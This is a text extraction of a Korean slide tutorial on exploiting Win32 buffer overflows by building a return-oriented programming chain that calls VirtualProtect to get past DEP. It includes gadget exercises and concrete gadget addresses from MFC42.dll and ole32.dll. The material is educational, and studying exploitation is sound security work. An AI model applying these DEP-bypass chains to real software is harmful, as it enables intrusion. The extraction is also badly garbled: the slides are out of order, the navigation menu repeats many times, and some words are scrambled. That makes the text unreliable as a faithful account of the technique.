세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -6 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
5번째 인자값은 별도의 Gadget 없이 초기 설정 가능
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -7 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -7 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H 
0x73DF5CA8: 
# PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI 
# RETN [Module: MFC42.dll] 
0x775D12F1: 
# SUB EAX,4 # RETN [Module: ole32.dll] 
ESP 를 VirtualProtect( ) 시작 위치로 변경하는 GadgetH-1
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -8 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H 
Gadget B
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -9 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H 
Gadget B 
Execution
Track3. Exploitation Bypassing DEP by using ROP 
Step by Step -9 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
[ROP-8(final)코드 참조]
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
Call VirtualProtectEX 
Change the protection on a region of committed page 
and Return to start point of shell code , Execute it
Thank You :) 
See you the week after next week

More Related Content

What's hot

Database Security for PCI DSS
Database Security for PCI DSSDatabase Security for PCI DSS
Database Security for PCI DSSOhyama Masanori
 
4章 Linuxカーネル - 割り込み・例外 2
4章 Linuxカーネル - 割り込み・例外 24章 Linuxカーネル - 割り込み・例外 2
4章 Linuxカーネル - 割り込み・例外 2mao999
 
RestfulなAPIの設計のお話
RestfulなAPIの設計のお話RestfulなAPIの設計のお話
RestfulなAPIの設計のお話ftsan
 
ASP.NET シングル ページ アプリケーション (SPA) 詳説
ASP.NET シングル ページ アプリケーション (SPA) 詳説ASP.NET シングル ページ アプリケーション (SPA) 詳説
ASP.NET シングル ページ アプリケーション (SPA) 詳説Akira Inoue
 
Ruby でつくる型付き Ruby
Ruby でつくる型付き RubyRuby でつくる型付き Ruby
Ruby でつくる型付き Rubymametter
 
オトナのDocker入門
オトナのDocker入門オトナのDocker入門
オトナのDocker入門Tsukasa Kato
 
「Photon OS + Docker」VLAN 環境の構築
「Photon OS + Docker」VLAN 環境の構築「Photon OS + Docker」VLAN 環境の構築
「Photon OS + Docker」VLAN 環境の構築Fuva Brain
 
Laravelを用いたゲームサーバーのチューニング
Laravelを用いたゲームサーバーのチューニングLaravelを用いたゲームサーバーのチューニング
Laravelを用いたゲームサーバーのチューニングNOW PRODUCTION
 
8時間耐久PHPUnitの教室
8時間耐久PHPUnitの教室8時間耐久PHPUnitの教室
8時間耐久PHPUnitの教室Yusuke Ando
 
Automation using Scripting and the Canvas API
Automation using Scripting and the Canvas APIAutomation using Scripting and the Canvas API
Automation using Scripting and the Canvas APIDavid Lippman
 
SQLアンチパターン読書会 15章 ランダムセレクション 説明資料
SQLアンチパターン読書会 15章 ランダムセレクション 説明資料SQLアンチパターン読書会 15章 ランダムセレクション 説明資料
SQLアンチパターン読書会 15章 ランダムセレクション 説明資料Nao Yamamoto
 
ReDosトラック内発表資料
ReDosトラック内発表資料ReDosトラック内発表資料
ReDosトラック内発表資料Yujiro Yahata
 
SSRF基礎
SSRF基礎SSRF基礎
SSRF基礎Yu Iwama
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injectionmatt_presson
 
Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Bernardo Damele A. G.
 
PHPの今とこれから2022
PHPの今とこれから2022PHPの今とこれから2022
PHPの今とこれから2022Rui Hirokawa
 
Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方Yuichi Hattori
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injectionamiable_indian
 

What's hot (20)

Database Security for PCI DSS
Database Security for PCI DSSDatabase Security for PCI DSS
Database Security for PCI DSS
 
4章 Linuxカーネル - 割り込み・例外 2
4章 Linuxカーネル - 割り込み・例外 24章 Linuxカーネル - 割り込み・例外 2
4章 Linuxカーネル - 割り込み・例外 2
 
RestfulなAPIの設計のお話
RestfulなAPIの設計のお話RestfulなAPIの設計のお話
RestfulなAPIの設計のお話
 
ASP.NET シングル ページ アプリケーション (SPA) 詳説
ASP.NET シングル ページ アプリケーション (SPA) 詳説ASP.NET シングル ページ アプリケーション (SPA) 詳説
ASP.NET シングル ページ アプリケーション (SPA) 詳説
 
Ruby でつくる型付き Ruby
Ruby でつくる型付き RubyRuby でつくる型付き Ruby
Ruby でつくる型付き Ruby
 
オトナのDocker入門
オトナのDocker入門オトナのDocker入門
オトナのDocker入門
 
「Photon OS + Docker」VLAN 環境の構築
「Photon OS + Docker」VLAN 環境の構築「Photon OS + Docker」VLAN 環境の構築
「Photon OS + Docker」VLAN 環境の構築
 
Laravelを用いたゲームサーバーのチューニング
Laravelを用いたゲームサーバーのチューニングLaravelを用いたゲームサーバーのチューニング
Laravelを用いたゲームサーバーのチューニング
 
8時間耐久PHPUnitの教室
8時間耐久PHPUnitの教室8時間耐久PHPUnitの教室
8時間耐久PHPUnitの教室
 
Fixing the Java Serialization Mess
Fixing the Java Serialization Mess Fixing the Java Serialization Mess
Fixing the Java Serialization Mess
 
Automation using Scripting and the Canvas API
Automation using Scripting and the Canvas APIAutomation using Scripting and the Canvas API
Automation using Scripting and the Canvas API
 
SQLアンチパターン読書会 15章 ランダムセレクション 説明資料
SQLアンチパターン読書会 15章 ランダムセレクション 説明資料SQLアンチパターン読書会 15章 ランダムセレクション 説明資料
SQLアンチパターン読書会 15章 ランダムセレクション 説明資料
 
ReDosトラック内発表資料
ReDosトラック内発表資料ReDosトラック内発表資料
ReDosトラック内発表資料
 
Docker超入門
Docker超入門Docker超入門
Docker超入門
 
SSRF基礎
SSRF基礎SSRF基礎
SSRF基礎
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injection
 
Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)
 
PHPの今とこれから2022
PHPの今とこれから2022PHPの今とこれから2022
PHPの今とこれから2022
 
Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injection
 

Viewers also liked

Arduino: Open Source Hardware Hacking from the Software Nerd Perspective
Arduino: Open Source Hardware Hacking from the Software Nerd PerspectiveArduino: Open Source Hardware Hacking from the Software Nerd Perspective
Arduino: Open Source Hardware Hacking from the Software Nerd PerspectiveHoward Lewis Ship
 
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...sanghwan ahn
 
[CB16] COFI break – Breaking exploits with Processor trace and Practical cont...
[CB16] COFI break – Breaking exploits with Processor trace and Practical cont...[CB16] COFI break – Breaking exploits with Processor trace and Practical cont...
[CB16] COFI break – Breaking exploits with Processor trace and Practical cont...CODE BLUE
 
Advanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCONAdvanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCONLyon Yang
 
Course lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented ProgrammingCourse lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented ProgrammingJonathan Salwan
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangLyon Yang
 

Viewers also liked (7)

Arduino: Open Source Hardware Hacking from the Software Nerd Perspective
Arduino: Open Source Hardware Hacking from the Software Nerd PerspectiveArduino: Open Source Hardware Hacking from the Software Nerd Perspective
Arduino: Open Source Hardware Hacking from the Software Nerd Perspective
 
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
 
[CB16] COFI break – Breaking exploits with Processor trace and Practical cont...
[CB16] COFI break – Breaking exploits with Processor trace and Practical cont...[CB16] COFI break – Breaking exploits with Processor trace and Practical cont...
[CB16] COFI break – Breaking exploits with Processor trace and Practical cont...
 
Advanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCONAdvanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCON
 
Course lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented ProgrammingCourse lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented Programming
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
 
IOT Exploitation
IOT Exploitation	IOT Exploitation
IOT Exploitation
 

Similar to System Hacking Tutorial #4 - Buffer Overflow - Return Oriented Programming aka. ROP

3. windows system과 rootkit
3. windows system과 rootkit3. windows system과 rootkit
3. windows system과 rootkitYoungjun Chang
 
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹GangSeok Lee
 
Windows Debugging Technique #2
Windows Debugging Technique #2Windows Debugging Technique #2
Windows Debugging Technique #2Wooseok Seo
 
[OpenTRS-001] Hotel California
[OpenTRS-001] Hotel California[OpenTRS-001] Hotel California
[OpenTRS-001] Hotel CaliforniaTheori
 
Macro & compilation
Macro & compilationMacro & compilation
Macro & compilationIkhoon Eom
 
6. code level reversing
6. code level reversing6. code level reversing
6. code level reversingYoungjun Chang
 
kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340Samsung Electronics
 
Taocp 1.4.1 subroutine
Taocp 1.4.1 subroutineTaocp 1.4.1 subroutine
Taocp 1.4.1 subroutineYoungkwon Lee
 

Similar to System Hacking Tutorial #4 - Buffer Overflow - Return Oriented Programming aka. ROP (12)

3. windows system과 rootkit
3. windows system과 rootkit3. windows system과 rootkit
3. windows system과 rootkit
 
Introduce php7
Introduce php7Introduce php7
Introduce php7
 
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹
 
Windows Debugging Technique #2
Windows Debugging Technique #2Windows Debugging Technique #2
Windows Debugging Technique #2
 
[OpenTRS-001] Hotel California
[OpenTRS-001] Hotel California[OpenTRS-001] Hotel California
[OpenTRS-001] Hotel California
 
Node.js at OKJSP
Node.js at OKJSPNode.js at OKJSP
Node.js at OKJSP
 
Macro & compilation
Macro & compilationMacro & compilation
Macro & compilation
 
6. code level reversing
6. code level reversing6. code level reversing
6. code level reversing
 
kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340kics2013-winter-biomp-slide-20130127-1340
kics2013-winter-biomp-slide-20130127-1340
 
파이선 실전공략-1
파이선 실전공략-1파이선 실전공략-1
파이선 실전공략-1
 
Taocp 1.4.1 subroutine
Taocp 1.4.1 subroutineTaocp 1.4.1 subroutine
Taocp 1.4.1 subroutine
 
Eclipse RAP
Eclipse RAPEclipse RAP
Eclipse RAP
 

System Hacking Tutorial #4 - Buffer Overflow - Return Oriented Programming aka. ROP

  • 1. System Hacking & Reverse Engineering [ Buffer Overflow - Return Oriented Programming aka. ROP ] documented by h2spice h2spice@gmail.com
  • 2. Who am I Sanghwan,Ahn (h2spice) Works for LINE.Corp Carrying out research on the vulnerability (exploitation,hunt,analysis)
  • 3. 시스템 해킹 / 리버싱 Buffer Overflow 취약점 원리 Stack Overflow Heap Overflow Format String Bug Heap Overflow Use After Free Overwriting RET Overwriting SEH 익스플로잇(Win32/*NIX/ARM) Egg Hunting RTL ROP Heap Spraying 커리큘럼 소개 취약점 / 악성코드 분석 악성코드 분석 Software on X86 버그 헌팅 X86 ARM Mobile 취약점 분석 소스코드 분석 퍼징 CVE-XXXX-XXXX Exploit-DB Inj3ct0r - 1337day 리버스 엔지니어링 iOS Android Overwriting .dtors Overwriting GOT
  • 4. 목차 커리큘럼 소개 Track3 - Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROP Heap Spray Track3-2 *NIX Overwrite RET RTL Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET RTL ROP
  • 6. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tRede turn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming)
  • 7. Track3. Exploitation ROP(Return Oriented Programming) Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming)
  • 8. ROP(Return Oriented Programming) 리턴 지향 프로그램이 (ROP)는 공격자가 현재 수행 중인 프로그램 코 드 안에 존재하는 서브루틴이 리턴 명령어에 닿기 전에 선별된 기계어 명령어 또는 기계 명령어 덩어리를 간접적으로 실행시키기 위해 콜 스 택의 제어를 통제하는 기술 Memory Defense Mechanism 우회 가능 무작위성 주소공간 배치 난수화 (ASLR: Address Space Layout Randomization) 데이터 실행 방지 ( DEP : Data Execution Prevention) or W^X (Write xor eXecute) Ret-to-LibC 기법에 대한 이해 필요 Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming)
  • 9. ROP Gadget Chain Gadget Chain 구성 기준 전체 함수를 사용하는 대신에 명령어의 연속된 작은 덩어리들을 이용. 명령어 조각은 2개에서 5개 정도의 크기. 모든 명령어 조각은 ret 명령으로 끝나야 함. 명령어 조각들은 ‘gadget’ 으로 서로 연결되어 명령어 덩어리를 형성 gadget은 의도된 특정 행동을 수행 (load, store, xor or branch) 공격자는 여러개의 gadget을 조합해 공격의 정교함을 더할 수 있음 Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming)
  • 10. Principle of ROP 1 2 3 4 ins1 ins2 ins3 ret ins1 ins2 ret ins1 ins2 pop ret ins1 ret Gadget1 (Load) 5 6 ins1 ins2 ins3 ret ins1 ins2 ret Gadget2 (Add) Load 명령을 수행하기 위한 기계어 8개가 있고, 필요한 인자가 하나 있다고 가정한다면, Load 기능을 수행 하기 위한 가젯은 왼쪽 Gadget1 과 같이 구성되어야 한다. (물론 각각의 기계어들을 현재 수행되고 있는, 공격자가 접근 가능한 프로그램 내부에 존재하는 기계어 조각들 중에서 추출되어야 한다.) 추출 과정을 통해 구성된 가젯들을 수행하게 되면 별도의 코드 삽입이나, 내장 함수를 이용하지 않아도 공격 자가 원하는 행동들을 수행할 수 있다. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming)
  • 11. Principle of ROP 1 2 3 4 ins1 ins2 ins3 ret ins1 ins2 ret ins1 ins2 pop ret ins1 ret Gadget1 (Load) 5 6 ins1 ins2 ins3 ret ins1 ins2 ret Gadget2 (Add) return address 6 return address 5 return address 4 argument return address 3 return address 2 return address 1 Pattern 2 Pattern 1 Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming)
  • 12. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Practice1. Understanding of gadget (1) 1 2 3 MOV EAX, 0 INC EAX INC EAX ret INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret Gadget A
  • 13. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Practice1. Understanding of gadget (1) 1 2 3 MOV EAX, 0 INC EAX INC EAX What’s the value of EAX ? ret INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret Gadget A
  • 14. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Practice1. Understanding of gadget (1) 1 2 3 MOV EAX, 0 INC EAX INC EAX ret INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret Gadget A EAX is 8
  • 15. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Practice2. Understanding of gadget (2) 1 2 3 MOV EAX, 0 INC EAX INC EAX ret POP EDI POP EDI POP EDI ret 4 5 6 Gadget B INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret
  • 16. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Practice2. Understanding of gadget (2) 1 2 3 MOV EAX, 0 INC EAX INC EAX ret POP EDI POP EDI POP EDI ret Wha4t’s the va5 lue of E6AX ? Gadget B INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret
  • 17. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Practice2. Understanding of gadget (2) 1 2 3 MOV EAX, 0 INC EAX INC EAX ret POP EDI POP EDI POP EDI ret 4 5 6 Gadget B INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret INC EAX INC EAX INC EAX ret EAX is 5
  • 18. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Practice3. Gadget for calling function 1 2 3 strcpy(dest,src) 4 8 Fill in the blanks with appropriate gadget. 11 12 Gadget C POP POP ret dest src 5 6 7 strcpy(dest,src) POP ? POP ret dest src strcpy(dest,src) POP POP ret dest 9 10 src ? ?
  • 19. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Practice3. Gadget for calling function 1 2 3 strcpy(dest,src) 4 8 9 10 11 12 Gadget C POP POP ret dest src 5 6 7 strcpy(dest,src) POP POP ret dest src strcpy(dest,src) POP POP ret dest src
  • 20. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Practice4. Gadget for modification registry make EAX to 0x41414141 ,EBP to DEADBEEF
